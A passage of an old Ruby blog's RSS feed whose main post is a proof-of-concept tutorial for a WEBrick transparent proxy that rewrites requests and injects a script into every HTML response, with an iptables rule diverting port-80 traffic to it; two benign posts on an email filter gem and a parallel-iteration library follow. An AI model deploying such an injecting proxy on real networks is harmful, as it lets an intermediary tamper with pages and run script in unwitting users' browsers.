<small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it's always good to look in google.jp for ruby code ;)</i></small>

You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. 

I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things. 
</br>
<strong> Simple Proxy :</strong>
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. 

<code>
require 'webrick'
require 'webrick/httproxy'

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => Proc.new {&#124;req,res&#124;  puts "#{req.unparsed_uri}" }

a.start

</code><small><small>Simple Proxy server.</small></small>
</br>
<strong> Fixing the URI :</strong>
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.  
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following 
<code>
GET http://www.sarasa.com/ HTTP/1.1
...
</code><small><small>Browser request using a proxy server.</small></small>

Normal the brower when requesting a page , will use HTTP/1.1 and use the header "Host" to specified the url and just connect using a:

<code>
GET / HTTP/1.1
Host: www.sarasa.com
</code><small><small>Browser request.</small></small>

Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy? 
The answer is simple. let's modified our code and change the request. All the information is there we just have to re-write it to fit our need. 
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and 

<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end


req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call 

a.start
</code><small><small>Transparent Proxy Server.</small></small>

</br>
<strong> Injecting:</strong>
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let's take it a little further and make it more interesting by adding an inject_payload to our response class. 


<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end

class WEBrick::HTTPResponse
  def  inject_payload(string)
    if @content_type =~ /html/
      @body.gsub!( /<\/body>/ ,  "<script>#{string}</script></body>")  # this is just 
    end
  end
end

req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

res_call = Proc.new do &#124;req,res&#124;  
  res.inject_payload("alert(\"P0wned\");")
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call
                     :ProxyContentHandler => res_call 

a.start
</code><small><small>Injectable Transparent Proxy server.</small></small>

<strong> Last but not least :</strong>
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.
<bash>
  iptables -t nat -A PREROUTING -i  eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
</bash>

Now we have a transparent proxy in our hands capable of injecting code into their request. 

Enjoy. 

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. </p>
<p><small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it&#8217;s always good to look in google.jp for ruby code <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </i></small></p>
<p>You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. </p>
<p>I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things.<br />
</br><br />
<strong> Simple Proxy :</strong><br />
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; Proc.new {|req,res|  puts "#{req.unparsed_uri}" }</p>
<p>a.start<br />
</code><small><small>Simple Proxy server.</small></small><br />
</br><br />
<strong> Fixing the URI :</strong><br />
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.<br />
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following<br />
<code>GET http://www.sarasa.com/ HTTP/1.1<br />
...</code><small><small>Browser request using a proxy server.</small></small></p>
<p>Normal the brower when requesting a page , will use HTTP/1.1 and use the header &#8220;Host&#8221; to specified the url and just connect using a:</p>
<p><code>GET / HTTP/1.1<br />
Host: www.sarasa.com</code><small><small>Browser request.</small></small></p>
<p>Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy?<br />
The answer is simple. let&#8217;s modified our code and change the request. All the information is there we just have to re-write it to fit our need.<br />
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call </p>
<p>a.start</code><small><small>Transparent Proxy Server.</small></small></p>
<p></br><br />
<strong> Injecting:</strong><br />
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let&#8217;s take it a little further and make it more interesting by adding an inject_payload to our response class. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>class WEBrick::HTTPResponse<br />
  def  inject_payload(string)<br />
    if @content_type =~ /html/<br />
      @body.gsub!( /&lt;\/body&gt;/ ,  "&lt;script&gt;#{string}&lt;/script&gt;&lt;/body&gt;")  # this is just<br />
    end<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>res_call = Proc.new do |req,res|<br />
  res.inject_payload("alert(\"P0wned\");")<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call<br />
                     <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> roxyContentHandler =&gt; res_call </p>
<p>a.start</code><small><small>Injectable Transparent Proxy server.</small></small></p>
<p><strong> Last but not least :</strong><br />
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.<br />
<bash><br />
  iptables -t nat -A PREROUTING -i  eth0 -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-port 8080<br />
</bash></p>
<p>Now we have a transparent proxy in our hands capable of injecting code into their request. </p>
<p>Enjoy. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>RGTE &#8211; Ruby Email filter</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 00:16:11 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter</guid>
		<description><![CDATA[According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure. 
If you want to try it you will need to install it with gem but providing a source:
<code>
$ [sudo] gem install --source http://rubyi.st/gems/ rgte
</code>
The developers reminds us not to forget that we need Tmail
 and we need to trail slashes, otherwise it won't work.

Try it and tell me what you think. 
Project's site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a>]]></description>
			<content:encoded><![CDATA[<p>According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure.<br />
If you want to try it you will need to install it with gem but providing a source:<br />
<code>$ [sudo] gem install --source http://rubyi.st/gems/ rgte</code><br />
The developers reminds us not to forget that we need Tmail<br />
 and we need to trail slashes, otherwise it won&#8217;t work.</p>
<p>Try it and tell me what you think.<br />
Project&#8217;s site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peach = Thread + each</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 23:58:21 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each</guid>
		<description><![CDATA[Parallel Each  (for ruby with threads)

It is pretty common to have iterations over Arrays that can be safely run in parallel. With multicore chips becoming pretty common, single threaded processing is about as cool as Pog. Unfortunately, standard Ruby hates real threads pretty hardcore at the present time; however, for some ruby projects alternate VMs like JRuby do give multicores some lovin'. Peach exists to make this power simple to use with minimal code changes.

Functions like map, each, and delete_if are often used in a functional, side-effect free style. If the operation in the block is computationally intense, performance can often be gained by multithreading the process. That's where Peach comes in. In the simplest case, you are one letter away from harnessing the power of parallelism and unlocking the secret of a guilt-free tan. At this stage, the goggles are purely optional.
Using Peach

Suppose you are going about your day job hacking away at code for the WOPR when you stumble upon the code:
<code>
cities.each {&#124;city&#124; thermonuclear_war(city)}
</code>	
Clearly, the only winning move is to declare war in parallel. With Peach, the new code is:
<code>
require 'peach'

cities.peach {&#124;city&#124; thermonuclear_war(city)}
</code>	
Requiring peach.rb monkey patches Array into submission. Currently Peach provides peach, pmap, and pdelete_if. Each of these functions takes an optional argument n, which represents the desired number of worker threads with the default being one thread per Array element. For cheaper operations on a large number of elements, you probably want to set n to something reasonably low.

<code>
(0...10000).to_a.pmap(4) {&#124;x&#124; process(x)}
</code>
Constructing the threads and adding on a few layers of indirection does add a bit of overhead to the iteration especially on MRI. Keep this in mind and remember to benchmark when unsure.
Syntax (without all the words)

<code>
require 'peach'

[1,2,3,4].peach{&#124;x&#124; f(x)} #Spawns 4 threads, => [1,2,3,4]
[1,2,3,4].pmap{&#124;x&#124; f(x)} #Spawns 4 threads, => [f(1),f(2),f(3),f(4)]
[1,2,3,4].pdelete_if{&#124;x&#124; x > 2} #Spawns 4 threads, => [3,4]

[1,2,3,4].peach(2){&#124;x&#124; f(x)} #Spawns 2 threads, => [1,2,3,4]
[1,2,3,4].pmap(2){&#124;x&#124; f(x)} #Spawns 2 threads, => [f(1),f(2),f(3),f(4)]
[1,2,3,4].pdelete_if(2){&#124;x&#124; x > 2} #Spawns 2 threads, => [3,4]
</code>

Extracted from the Developers's web site: http://peach.rubyforge.org/

UPDATE: Gracias!, Irlandes Borracho por la correccion en el titulo.]]></description>
			<content:encoded><![CDATA[<p>Parallel Each  (for ruby with threads)</p>
<p>It is pretty common to have iterations over Arrays that can be safely run in parallel. With multicore chips becoming pretty common, single threaded processing is about as cool as Pog. Unfortunately, standard Ruby hates real threads pretty hardcore at the present time; however, for some ruby projects alternate VMs like JRuby do give multicores some lovin&#8217;. Peach exists to make this power simple to use with minimal code changes.</p>
<p>Functions like map, each, and delete_if are often used in a functional, side-effect free style. If the operation in the block is computationally intense, performance can often be gained by multithreading the process. That&#8217;s where Peach comes in. In the simplest case, you are one letter away from harnessing the power of parallelism and unlocking the secret of a guilt-free tan. At this stage, the goggles are purely optional.<br />
Using Peach</p>
<p>Suppose you are going about your day job hacking away at code for the WOPR when you stumble upon the code:<br />
<code>cities.each {|city| thermonuclear_war(city)}</code><br />
Clearly, the only winning move is to declare war in parallel. With Peach, the new code is:<br />
<code>require 'peach'</p>
<p>cities.peach {|city| thermonuclear_war(city)}</code><br />
Requiring peach.rb monkey patches Array into submission. Currently Peach provides peach, pmap, and pdelete_if. Each of these functions takes an optional argument n, which represents the desired number of worker threads with the default being one thread per Array element. For cheaper operations on a large number of elements, you probably want to set n to something reasonably low.</p>
<p><code>(0...10000).to_a.pmap(4) {|x| process(x)}</code><br />
Constructing the threads and adding on a few layers of indirection does add a bit of overhead to the iteration especially on MRI. Keep this in mind and remember to benchmark when unsure.<br />
Syntax (without all the words)</p>
<p><code>require 'peach'</p>
<p>[1,2,3,4].peach{|x| f(x)} #Spawns 4 threads, =&gt; [1,2,3,4]<br />
[1,2,3,4].pmap{|x| f(x)} #Spawns 4 threads, =&gt; [f(1),f(2),f(3),f(4)]<br />
[1,2,3,4].pdelete_if{|x| x &gt; 2} #Spawns 4 threads, =&gt; [3,4]</p>
<p>[1,2,3,4].peach(2){|x| f(x)} #Spawns 2 threads, =&gt; [1,2,3,4]<br />
[1,2,3,4].pmap(2){|x| f(x)} #Spawns 2 threads, =&gt; [f(1),f(2),f(3),f(4)]<br />
[1,2,3,4].pdelete_if(2){|x| x &gt; 2} #Spawns 2 threads, =&gt; [3,4]</code></p>
<p>Extracted from the Developers&#8217;s web site: http://peach.rubyforge.org/</p>
<p>UPDATE: Gracias!, Irlandes Borracho por la correccion en el titulo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

